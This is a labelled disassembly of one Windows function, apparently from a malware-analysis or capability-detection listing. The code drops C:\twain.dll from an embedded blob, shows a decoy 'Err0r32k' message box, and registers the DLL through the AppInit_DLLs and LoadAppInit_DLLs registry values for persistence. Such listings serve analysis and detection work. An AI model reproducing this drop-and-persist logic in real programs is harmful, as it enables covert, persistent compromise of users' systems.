Function at 0x1400011a0
Capabilities:
Delete file
Delete registry value
Persist via appinit_dlls registry key
Set registry value
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rbp, str.C:_twain.dll
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rbp
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [rsi + 4]
mov rbx, rax
call fcn.140001430
mov r9, rax
mov qword [rsp + 0x20], rsi
mov r8d, 0x231000
lea rdx, [0x140005040]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [rsi + 8]
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
lea edx, [rsi + 8]
lea r8d, [rsi + 2]
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
jne 0x140001287
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400012aa
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
mov rcx, rdi
mov qword [rsp + 0x20], rsi
lea edx, [r9 + 6]
lea r8d, [r9 + 4]
call qword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x40
lea r8, str.Err0r32k
lea rdx, str.LetGo_Play_Game...
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rsp + 0x40]
mov r9d, 0x2001f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREWOW6432NodeMicrosoftWindows_NTCurrentVersionWindows
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rsp + 0x40]
lea rdx, str.AppInit_DLLs
mov r9d, 1
mov dword [rsp + 0x28], 0xd
xor r8d, r8d
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r9d, 0x2001f
lea rdx, str.SOFTWAREWOW6432NodeMicrosoftWindows_NTCurrentVersionWindows
mov ebx, eax
xor r8d, r8d
lea rax, [rsp + 0x48]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rsp + 0x48]
lea rax, [0x140003518]
mov dword [rsp + 0x28], 3
lea rdx, str.LoadAppInit_DLLs
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, 0x6590
mov edi, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jne 0x1400013af
mov rcx, qword [rsp + 0x40]
lea rdx, str.AppInit_DLLs
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x1400013d0
mov rcx, qword [rsp + 0x48]
lea rdx, str.LoadAppInit_DLLs
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001410
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret